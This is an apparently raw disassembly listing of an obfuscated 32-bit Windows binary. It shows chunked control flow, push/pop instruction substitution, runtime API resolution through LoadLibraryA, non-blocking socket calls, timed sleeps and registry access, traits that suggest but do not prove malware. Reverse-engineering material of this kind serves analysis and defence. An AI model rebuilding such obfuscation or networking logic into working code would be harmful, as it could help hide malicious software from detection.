; FUNCTION CHUNK AT 009B23C0 SIZE 0000002B BYTES
; FUNCTION CHUNK AT 009B23EF SIZE 0000001B BYTES
; FUNCTION CHUNK AT 009B245C SIZE 00000033 BYTES
; FUNCTION CHUNK AT 009B2584 SIZE 00000030 BYTES
; FUNCTION CHUNK AT 009B2790 SIZE 0000002E BYTES
; FUNCTION CHUNK AT 009B2C88 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 009B2D8C SIZE 00000013 BYTES
; FUNCTION CHUNK AT 009B2DB8 SIZE 00000032 BYTES
; FUNCTION CHUNK AT 009B3078 SIZE 00000037 BYTES
; FUNCTION CHUNK AT 009B31F4 SIZE 00000032 BYTES
; FUNCTION CHUNK AT 009B37B4 SIZE 00000032 BYTES
; FUNCTION CHUNK AT 009B38FC SIZE 00000032 BYTES
; FUNCTION CHUNK AT 009B3A18 SIZE 00000035 BYTES
; FUNCTION CHUNK AT 009B3E00 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 009B3E44 SIZE 00000031 BYTES
; FUNCTION CHUNK AT 009B3E90 SIZE 00000032 BYTES
; FUNCTION CHUNK AT 009B40C8 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 009B41BC SIZE 00000032 BYTES
; FUNCTION CHUNK AT 009B426C SIZE 00000031 BYTES
; FUNCTION CHUNK AT 009B480C SIZE 00000032 BYTES
; FUNCTION CHUNK AT 009B4898 SIZE 00000031 BYTES
; FUNCTION CHUNK AT 009B4B18 SIZE 00000034 BYTES
; FUNCTION CHUNK AT 009B4BD0 SIZE 00000027 BYTES
; FUNCTION CHUNK AT 009B4C0C SIZE 0000002F BYTES
; FUNCTION CHUNK AT 009B4D3C SIZE 0000000C BYTES
; FUNCTION CHUNK AT 009B505C SIZE 00000031 BYTES
; FUNCTION CHUNK AT 009B50A0 SIZE 00000030 BYTES
; FUNCTION CHUNK AT 009B51EC SIZE 00000031 BYTES
; FUNCTION CHUNK AT 009B531C SIZE 0000000D BYTES
; FUNCTION CHUNK AT 009B5594 SIZE 00000030 BYTES
; FUNCTION CHUNK AT 009B55F4 SIZE 00000036 BYTES
; FUNCTION CHUNK AT 009B574C SIZE 00000066 BYTES
; FUNCTION CHUNK AT 009B5B08 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 009B5EAC SIZE 00000034 BYTES
; FUNCTION CHUNK AT 009B60C0 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 009B633C SIZE 00000012 BYTES

		push	ebp
		push	esp
		pop	ebp
		push	0FFFFFFFFh
		push	off_9B93DB
		push	off_9B8CBD
		push	large dword ptr	fs:0
		pop	eax
		push	eax
		mov	large fs:0, esp
		sub	esp, 14h
		push	ebx
		push	esi
		push	edi
		sub	esi, esi
		mov	[ebp-18h], esp
		mov	[ebp-20h], esi
		mov	[ebp-4], esi
		push	off_9B98E6
		push	LoadLibraryA
		pop	ebx
		call	ebx
		mov	[ebp-1Ch], eax
		cmp	eax, esi
		jz	loc_9B23EF
		jmp	off_9B9429
sub_9B0930	endp

; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9B0984:				; CODE XREF: sub_9B0930+4C8Fj
		push	off_9B97E5
		mov	eax, [eax]
		push	eax
		call	esi
		mov	ecx, dword_9BCB74
		mov	edx, [ecx+10h]
		mov	[edx+5Ch], eax
		mov	eax, dword_9BCB74
		mov	eax, [eax+10h]
		push	dword ptr [eax+5Ch]
		pop	ecx
		test	ecx, ecx
		jz	loc_9B23EF
		jmp	loc_9AC588
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B6078


loc_9B09B4:				; CODE XREF: sub_9B6078-B0A4j
					; DATA XREF: .text:off_9BA85Do
		sub	eax, edx
		add	eax, ebx
		push	eax
		push	2
		call	sub_9AD3EC


loc_9B09C0:				; CODE XREF: sub_9B6078-A728j
		mov	[ebp+var_4], 0FFFFFFFFh
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_9B6078
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AF5E4


loc_9B09DC:				; CODE XREF: sub_9AF5E4-1E7Ej
		jnz	loc_9AD761
		jmp	off_9BA7F6
; END OF FUNCTION CHUNK	FOR sub_9AF5E4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B35A0


loc_9B09E8:				; CODE XREF: sub_9B35A0+25j
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	edi, ecx
		push	dword_9BCB74
		pop	eax
		mov	ecx, [eax]
		push	off_9BA623
		call	dword ptr [ecx+18h]
		mov	[ebp+var_4], 0
		lea	esi, [edi+edi*2]
		shl	esi, 4
		mov	eax, dword_9BBF9C[esi]
		or	eax, eax
		jz	loc_9B10EA
		jmp	off_9B8DF3
; END OF FUNCTION CHUNK	FOR sub_9B35A0
; ---------------------------------------------------------------------------
		align 4
		mov	esp, [ebp-18h]
; START	OF FUNCTION CHUNK FOR sub_9B1B20


loc_9B0A27:				; CODE XREF: sub_9B1B20-1DAj
					; sub_9B1B20+93j
		mov	[ebp+var_4], 0FFFFFFFFh
		mov	eax, dword_9BCB74
		mov	ecx, [eax]
		push	off_9BA97F
		call	dword ptr [ecx+1Ch]
		push	[ebp+var_330]
		pop	eax
		push	[ebp+var_10]
		pop	ecx
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	ecx, [ebp+var_1C]
		xor	ecx, ebp
		call	sub_9AAAC1
		mov	esp, ebp
		pop	ebp
		retn	4
; END OF FUNCTION CHUNK	FOR sub_9B1B20
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9B0A64:				; CODE XREF: sub_9B0930+B06j
					; DATA XREF: .text:off_9B9F62o
		push	off_9B933A
		mov	ecx, [eax]
		push	ecx
		call	esi
		mov	edx, dword_9BCB74
		mov	ecx, [edx]
		mov	[ecx+38h], eax
		push	dword_9BCB74
		pop	edx
		push	dword ptr [edx]
		pop	eax
		push	dword ptr [eax+38h]
		pop	ecx
		or	ecx, ecx
		jz	loc_9B23EF
		jmp	loc_9B4C0C
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B4FD0


loc_9B0A98:				; CODE XREF: sub_9B4FD0-8478j
		mov	edx, [ebp+24h]
		cmp	dword_9BBF8C[eax], edx
		jnz	loc_9AB8C4
		jmp	off_9B989F
; END OF FUNCTION CHUNK	FOR sub_9B4FD0
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B5480


loc_9B0AB0:				; CODE XREF: sub_9B5480+39j
					; DATA XREF: .text:off_9B88C8o
		push	dword ptr [esi]
		pop	eax
		test	eax, eax
		jz	loc_9B335B
		jmp	loc_9AE9A0
; END OF FUNCTION CHUNK	FOR sub_9B5480
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B4610


loc_9B0AC0:				; CODE XREF: sub_9B4610+50j
					; DATA XREF: .text:off_9BB048o
		lea	esi, [edi+edi*2]
		shl	esi, 4
		mov	eax, dword_9BBF74[esi]
		or	eax, eax
		jz	loc_9AF22F
		jmp	off_9B956C
; END OF FUNCTION CHUNK	FOR sub_9B4610
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B562C


loc_9B0ADC:				; CODE XREF: sub_9B562C+5Ej
		mov	eax, off_9BA9E4


loc_9B0AE1:				; CODE XREF: sub_9B562C+58j
		mov	edx, dword_9BCB74
		push	dword ptr [edx]
		pop	esi
		push	105h
		lea	ecx, [ebp+var_124]
		push	ecx
		push	eax
		call	dword ptr [esi+8Ch]
		push	eax
		call	dword ptr [esi+88h]
		and	eax, eax
		jz	loc_9AECDF
		jmp	off_9BA469
; END OF FUNCTION CHUNK	FOR sub_9B562C
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B18F8


loc_9B0B14:				; CODE XREF: sub_9B18F8+1Fj
					; DATA XREF: .text:off_9B970Fo
		mov	eax, [esp+8+arg_0]
		push	eax
		push	4
		pop	edi
		call	sub_9AC6A0
		push	off_9B9EF1
		call	sub_9AC6A0
		add	esp, 8
		pop	edi
		pop	esi
		retn	4
; END OF FUNCTION CHUNK	FOR sub_9B18F8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9AD11C


loc_9B0B34:				; CODE XREF: sub_9AD11C+846Cj
		push	dword_9BCB74
		pop	edx
		push	dword ptr [edx+10h]
		pop	eax
		call	dword ptr [eax+4Ch]
		cmp	eax, 2733h
		jz	loc_9AB910
		jmp	loc_9B33D0
; END OF FUNCTION CHUNK	FOR sub_9AD11C
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AF25C


loc_9B0B54:				; CODE XREF: sub_9AF25C+60F0j
					; DATA XREF: .text:off_9BADA0o
		cmp	edi, ebx
		jnz	loc_9AB8D1
		jmp	off_9B9A1D
; END OF FUNCTION CHUNK	FOR sub_9AF25C
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9B0B64:				; CODE XREF: sub_9B0930+1A61j
					; DATA XREF: .text:off_9B9624o
		push	off_9BAFBF
		mov	ecx, [eax]
		push	ecx
		call	esi
		push	dword_9BCB74
		pop	edx
		mov	ecx, [edx+14h]
		mov	[ecx+0Ch], eax
		mov	eax, dword_9BCB74
		push	dword ptr [eax+14h]
		pop	edx
		mov	ecx, [edx+0Ch]
		and	ecx, ecx
		jz	loc_9B23EF
		jmp	off_9B927C
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9ABF08


loc_9B0B98:				; CODE XREF: sub_9ABF08+6CF1j
					; DATA XREF: .text:off_9BA0C1o
		mov	eax, dword_9BCB74
		push	dword ptr [eax]
		pop	ecx
		push	esi
		push	edi
		push	esi
		push	dword ptr [ebp+8]
		pop	edx
		push	edx
		push	edi
		push	edi
		call	dword ptr [ecx+14h]
		mov	[esi+4], eax
		cmp	eax, edi
		jz	loc_9AF200
		jmp	off_9B9A50
; END OF FUNCTION CHUNK	FOR sub_9ABF08
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9ADAC4


loc_9B0BC0:				; CODE XREF: sub_9ADAC4-73Fj
					; DATA XREF: .text:off_9BAED5o
		mov	edx, dword_9BCB74
		mov	eax, [edx+10h]
		push	ebx
		call	dword ptr [eax+38h]
		or	ebx, 0FFFFFFFFh
		mov	[ebp-44h], ebx


loc_9B0BD3:				; CODE XREF: sub_9ADAC4-2BE1j
					; sub_9ADAC4-745j ...
		mov	ecx, dword_9BCB74
		mov	edx, [ecx]
		push	1388h
		call	dword ptr [edx+4]
		jmp	loc_9B42D8
; END OF FUNCTION CHUNK	FOR sub_9ADAC4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9AF030


loc_9B0BE8:				; CODE XREF: sub_9AF030+2345j
					; DATA XREF: .text:off_9B9FDBo
		add	dword_9BBFA0[esi], ebx
		call	sub_9B227C
		mov	dword_9BBF98[esi], eax
		mov	eax, [ebp+arg_C]
		test	eax, eax
		jnz	loc_9B1518
		jmp	off_9BA677
; END OF FUNCTION CHUNK	FOR sub_9AF030
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9B0C0C:				; CODE XREF: sub_9B0930-2FBCj
					; DATA XREF: .text:off_9B88D0o
		push	dword ptr [eax+0Ch]
		pop	edx
		cmp	dword ptr [edx], 0
		jz	loc_9B23EF
		jmp	off_9BAD59
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9B0C20	proc near		; CODE XREF: sub_9B0CC8+1p
					; sub_9B1134+34p

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

; FUNCTION CHUNK AT 009B56EB SIZE 0000001A BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	off_9B8CDA
		push	offset unknown_libname_1 ; Microsoft VisualC 2-8/net runtime
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	[ebp+var_4], 0
		push	[ebp+arg_0]
		pop	eax
		pusha
		push	eax
		call	dword ptr [eax]
		pop	eax
		popa
		jmp	loc_9B56EB
sub_9B0C20	endp

; ---------------------------------------------------------------------------
		align 10h
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		push	dword ptr [ebp+10h]
		pop	eax
		mov	ecx, [ebp-10h]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		jmp	loc_9B0628
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B3150


loc_9B0C88:				; CODE XREF: sub_9B3150+2DE7j
					; DATA XREF: .text:off_9BA093o
		rep stosb
		jmp	loc_9AEFA3
; END OF FUNCTION CHUNK	FOR sub_9B3150
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B1F68


loc_9B0C90:				; CODE XREF: sub_9B1F68+22EEj
		mov	edx, dword_9BCB74
		push	dword ptr [edx]
		pop	eax
		call	dword ptr [eax+30h]
		sub	eax, [edi+ebp-250h]
		push	dword ptr [ebp-38h]
		pop	ecx
		neg	ecx
		sbb	ecx, ecx
		and	ecx, 0FFFFFC18h
		add	ecx, 1388h
		cmp	eax, ecx
		jbe	loc_9AFB74
		jmp	off_9B89C2
; END OF FUNCTION CHUNK	FOR sub_9B1F68
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_9B0CC8	proc near		; CODE XREF: sub_9AFC28+CC8j
		push	ebx
		call	sub_9B0C20
		jmp	loc_9ADF17
sub_9B0CC8	endp

; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B1D80


loc_9B0CD4:				; CODE XREF: sub_9B1D80-3F9j
		test	byte ptr [ebp-2024h], 1
		jnz	loc_9B3EC4
		jmp	off_9BACE8
; END OF FUNCTION CHUNK	FOR sub_9B1D80
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9B0CE8:				; CODE XREF: sub_9B0930+3F08j
					; DATA XREF: .text:off_9BAB16o
		push	off_9BAD70
		push	dword ptr [eax]
		pop	eax
		push	eax
		call	esi
		mov	ecx, dword_9BCB74
		push	dword ptr [ecx]
		pop	edx
		mov	[edx+54h], eax
		mov	eax, dword_9BCB74
		mov	eax, [eax]
		mov	ecx, [eax+54h]
		or	ecx, ecx
		jz	loc_9B23EF
		jmp	loc_9ABCB8
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B649C


loc_9B0D18:				; CODE XREF: sub_9B649C-1369j
		push	100h
		pop	edx


loc_9B0D1E:				; CODE XREF: sub_9B649C-7AB0j
		mov	[ebp+var_24], edx
		cmp	edx, 4000h
		ja	loc_9AE5F0
		jmp	off_9BA097
; END OF FUNCTION CHUNK	FOR sub_9B649C
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_9B0D34	proc near		; CODE XREF: sub_9B63D8-4B67p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 009AF8A8 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 009B19BC SIZE 00000008 BYTES
; FUNCTION CHUNK AT 009B2D84 SIZE 00000005 BYTES

		push	eax
		push	esi
		mov	eax, 8
		mov	dword ptr [edi], 0
		call	sub_9AC32C
		test	al, 3
		jnz	nullsub_10
		jmp	loc_9AF8A8
sub_9B0D34	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B4FD0


loc_9B0D54:				; CODE XREF: sub_9B4FD0-1EC7j
		cmp	eax, 0FFFFFFFFh
		jnz	loc_9ABB60
		jmp	sub_9ABB50
; END OF FUNCTION CHUNK	FOR sub_9B4FD0
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B4950


loc_9B0D64:				; CODE XREF: sub_9B4950-5A0Aj
					; sub_9B4950-19Aj
					; DATA XREF: ...
		cmp	dword_9BEC20[edi], ebx
		jnz	loc_9B5C2E
		jmp	off_9B9F17
; END OF FUNCTION CHUNK	FOR sub_9B4950
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B3864


loc_9B0D78:				; CODE XREF: sub_9B3864-5020j
					; sub_9B3864-405Aj
					; DATA XREF: ...
		push	[ebp+var_202C]
		pop	edx
		test	edx, edx
		js	loc_9AF480
		jmp	off_9B96E8
; END OF FUNCTION CHUNK	FOR sub_9B3864
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9AB040


loc_9B0D90:				; CODE XREF: sub_9AB040+15ABj
		mov	ecx, dword_9BEC30[eax]
		mov	edx, dword_9BEC2C[eax]
		and	edx, ecx
		and	ecx, esi
		cmp	edx, ecx
		jz	loc_9B0688
		jmp	off_9BA87C
; END OF FUNCTION CHUNK	FOR sub_9AB040
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B1B20


loc_9B0DB0:				; CODE XREF: sub_9B1B20-5EA2j
					; DATA XREF: .text:off_9BA408o
		push	edx
		push	80000001h
		call	dword ptr [eax+20h]
		test	eax, eax
		jnz	loc_9AC1BE
		jmp	off_9B96D4
; END OF FUNCTION CHUNK	FOR sub_9B1B20
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B4CF4


loc_9B0DC8:				; CODE XREF: sub_9B4CF4-277Fj
					; DATA XREF: .text:off_9B9EEDo
		mov	edi, ebx
		dec	edi


loc_9B0DCB:				; CODE XREF: sub_9B4CF4-3F23j
		mov	al, [edi+1]
		inc	edi
		and	al, al
		jnz	short loc_9B0DCB
		jmp	loc_9AFEC0
; END OF FUNCTION CHUNK	FOR sub_9B4CF4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B1F68


loc_9B0DD8:				; CODE XREF: sub_9B1F68+241Aj
		call	sub_9B31A8
		inc	edi
		jmp	loc_9AE84E
; END OF FUNCTION CHUNK	FOR sub_9B1F68
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AFC28


loc_9B0DE4:				; CODE XREF: sub_9AFC28-A64j
		cmp	eax, 0FFFFFFFFh
		jz	loc_9ADF17
		jmp	loc_9AEB00
; END OF FUNCTION CHUNK	FOR sub_9AFC28
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B3E78


loc_9B0DF4:				; CODE XREF: sub_9B3E78+Cj
		sub	eax, edx
		add	eax, ebx
		push	eax
		push	1
		call	sub_9AD3EC
; END OF FUNCTION CHUNK	FOR sub_9B3E78
; START	OF FUNCTION CHUNK FOR sub_9B4CF4


loc_9B0E00:				; CODE XREF: sub_9B4CF4-4E28j
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		push	ebx
		pop	eax
		mov	ecx, [ebp-10h]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_9B4CF4
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B1F68


loc_9B0E1C:				; CODE XREF: sub_9B1F68+71j
		mov	dword ptr [ebp-40h], 2
		jmp	loc_9ACD83
; END OF FUNCTION CHUNK	FOR sub_9B1F68
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9B0E28:				; CODE XREF: sub_9B0930+49F4j
		push	off_9B933E
		mov	ecx, [eax]
		push	ecx
		call	esi
		push	dword_9BCB74
		pop	edx
		mov	ecx, [edx]
		mov	[ecx+78h], eax
		push	dword_9BCB74
		pop	edx
		jmp	loc_9B1B0C
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B4FD0


loc_9B0E4C:				; CODE XREF: sub_9B4FD0+512j
					; DATA XREF: .text:off_9B8C64o
		push	eax
		pop	ebx
		mov	[ebp-228h], ebx


loc_9B0E54:				; CODE XREF: sub_9B4FD0-3F79j
		cmp	ebx, 0FFFFFFFFh
		jnz	loc_9AAEF0
		jmp	loc_9AD318
; END OF FUNCTION CHUNK	FOR sub_9B4FD0
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9ADDA4


loc_9B0E64:				; CODE XREF: sub_9ADDA4+29Bj
		mov	eax, edi
		cdq
		push	edx
		push	eax
		push	ebx
		push	esi
		call	__alldiv
		mov	[ebp-28h], eax
		mov	[ebp-24h], edx
		jmp	loc_9AE473
; END OF FUNCTION CHUNK	FOR sub_9ADDA4
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_9B0E7C	proc near		; CODE XREF: sub_9B2C70-5606p
					; sub_9B1F68-3EFFp ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		mov	eax, dword_9BCB74
		mov	ecx, [eax+10h]
		mov	eax, [esp+arg_0]
		lea	edx, [esp+arg_4]
		push	edx
		push	8004667Eh
		push	eax
		call	dword ptr [ecx+54h]
		neg	eax
		sbb	eax, eax
		and	eax, 0FFFFFFFDh
		add	eax, 4
		retn	8
sub_9B0E7C	endp

; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B04A8


loc_9B0EA4:				; CODE XREF: sub_9B04A8+4CFBj
					; DATA XREF: .text:off_9B9EF5o
		push	edi
		mov	eax, [edi+24h]
		push	eax
		mov	ecx, [edi+20h]
		push	ecx
		mov	eax, 0Ah
		call	sub_9B3F28
		mov	ebx, eax
		mov	[ebp-404Ch], ebx
		test	bl, 4
		jnz	loc_9ACA28
		jmp	off_9B8D89
; END OF FUNCTION CHUNK	FOR sub_9B04A8
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B649C


loc_9B0ED0:				; CODE XREF: sub_9B649C+3Fj
					; DATA XREF: .text:off_9B8A06o
		cmp	edi, 2000h
		ja	loc_9ACCD8
		jmp	loc_9AC3B0
; END OF FUNCTION CHUNK	FOR sub_9B649C
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9B0EE4:				; CODE XREF: sub_9B0930+1B5Aj
		push	off_9B8E81
		mov	eax, [eax]
		push	eax
		call	esi
		push	dword_9BCB74
		pop	ecx
		push	dword ptr [ecx+10h]
		pop	edx
		mov	[edx+1Ch], eax
		push	dword_9BCB74
		pop	eax
		mov	eax, [eax+10h]
		mov	ecx, [eax+1Ch]
		and	ecx, ecx
		jz	loc_9B23EF
		jmp	off_9BACE0
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9AE860


loc_9B0F18:				; CODE XREF: sub_9AE860+623Fj
		push	edx
		pop	ecx
		shr	ecx, 2
		rep movsd
		push	edx
		pop	ecx
		and	ecx, 3
		rep movsb
		mov	[ebp+var_4], 0FFFFFFFFh
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_9AE860
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B27D8


loc_9B0F40:				; CODE XREF: sub_9B27D8-2626j
		mov	dx, word_9B9468
		mov	[edi], dx
		pop	edi
		mov	eax, ebx
		pop	esi
		retn
; END OF FUNCTION CHUNK	FOR sub_9B27D8
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9AC250


loc_9B0F50:				; CODE XREF: sub_9AC250+91C3j
		shr	edx, 5
		push	edx
		pop	ecx
		and	ecx, 1Fh
		push	1
		pop	ebx
		shl	ebx, cl
		shr	edx, 5
		test	dword_9BA4E8[edx*4], ebx
		jnz	loc_9B536C
		jmp	off_9BAD48
; END OF FUNCTION CHUNK	FOR sub_9AC250
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9ACEE8


loc_9B0F74:				; CODE XREF: sub_9ACEE8+64E2j
		mov	edi, 1
		mov	[ebp-0C4h], edi


loc_9B0F7F:				; CODE XREF: sub_9ACEE8+64DCj
		mov	dword_9BF120[esi*4], edi
		call	sub_9ADDA4
		mov	[ebp-0E8h], eax
		mov	edx, dword_9BCB74
		mov	ecx, [edx]
		push	eax
		push	off_9BACEC
		call	dword ptr [ecx+34h]


loc_9B0FA3:				; CODE XREF: sub_9ACEE8+8AABj
		mov	ecx, [ebp-0C8h]
		push	dword ptr [ebp-0D0h]
		pop	edx
		call	sub_9AC6DC
		jmp	loc_9ACF55
; END OF FUNCTION CHUNK	FOR sub_9ACEE8
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AE860


loc_9B0FBC:				; CODE XREF: sub_9AE860-2647j
		imul	eax, 343FDh
		add	eax, 269EC3h
		mov	[ebp+arg_0], eax
		jmp	loc_9AC207
; END OF FUNCTION CHUNK	FOR sub_9AE860
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_9B0FD0	proc near		; CODE XREF: sub_9B1D80-3F49p

; FUNCTION CHUNK AT 009AFCB4 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 009B1C48 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 009B27EF SIZE 0000002B BYTES
; FUNCTION CHUNK AT 009B5D24 SIZE 0000003E BYTES

		push	ebp
		push	esp
		pop	ebp
		push	0FFFFFFFFh
		push	off_9B9024
		push	off_9B8CBD
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		push	ecx
		pop	esi
		mov	[ebp-18h], esp
		mov	eax, dword_9BCB74
		mov	ecx, [eax]
		push	off_9B9632
		call	dword ptr [ecx+18h]
		xor	eax, eax
		push	7FFh
		pop	ecx
		mov	[ebp-4], eax
		mov	[ebp-1Ch], ecx


loc_9B1018:				; CODE XREF: sub_9B0FD0-131Bj
		mov	[ebp-20h], eax
		cmp	eax, 800h
		jge	loc_9B5D29
		jmp	off_9B89C6
sub_9B0FD0	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B3984


loc_9B102C:				; CODE XREF: sub_9B3984-7BB7j
		inc	esi
		jmp	loc_9B39EA
; END OF FUNCTION CHUNK	FOR sub_9B3984
; ---------------------------------------------------------------------------
		align 4
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9AB1A0


loc_9B1038:				; CODE XREF: sub_9AB1A0+7782j
		mov	eax, edi
		call	sub_9B327C
		or	eax, eax
		jz	loc_9AD304
		jmp	loc_9B2248
; END OF FUNCTION CHUNK	FOR sub_9AB1A0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B4FD0


loc_9B104C:				; CODE XREF: sub_9B4FD0+57j
		xor	eax, eax


loc_9B104E:				; CODE XREF: sub_9B4FD0-83B7j
		mov	[ebp-22Ch], eax
		cmp	eax, 40h
		jnb	loc_9B0E54
		jmp	loc_9B54D0
; END OF FUNCTION CHUNK	FOR sub_9B4FD0
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B2E04


loc_9B1064:				; CODE XREF: sub_9B2E04-626Bj
					; DATA XREF: .text:off_9B8C1Co
		push	dword_9BCB74
		pop	eax
		push	dword ptr [eax+10h]
		pop	ecx
		push	edi
		call	dword ptr [ecx+38h]
		or	edi, 0FFFFFFFFh
		mov	[ebp+var_4040],	edi


loc_9B107C:				; CODE XREF: sub_9B2E04-6271j
					; sub_9B2E04+2928j ...
		push	dword_9BCB74
		pop	edx
		push	dword ptr [edx]
		pop	eax
		push	1388h
		call	dword ptr [eax+4]
		mov	esi, [ebp+var_4044]
		jmp	loc_9B240C
; END OF FUNCTION CHUNK	FOR sub_9B2E04
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9ACA48


loc_9B109C:				; CODE XREF: sub_9ACA48+11F6j
		push	dword ptr [ebp-4058h]
		pop	edx
		push	edx
		sub	edx, edx
		call	sub_9B5CDC
		test	eax, eax
		jnz	loc_9B5E0C
		jmp	off_9B9F13
; END OF FUNCTION CHUNK	FOR sub_9ACA48
; ---------------------------------------------------------------------------
		align 4
		mov	esp, [ebp-18h]


loc_9B10BF:				; CODE XREF: .text:009AFBF9j
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		push	1
		pop	eax
		push	dword ptr [ebp-10h]
		pop	ecx
		mov	large fs:0, ecx
		pop	edi
		pop	esi
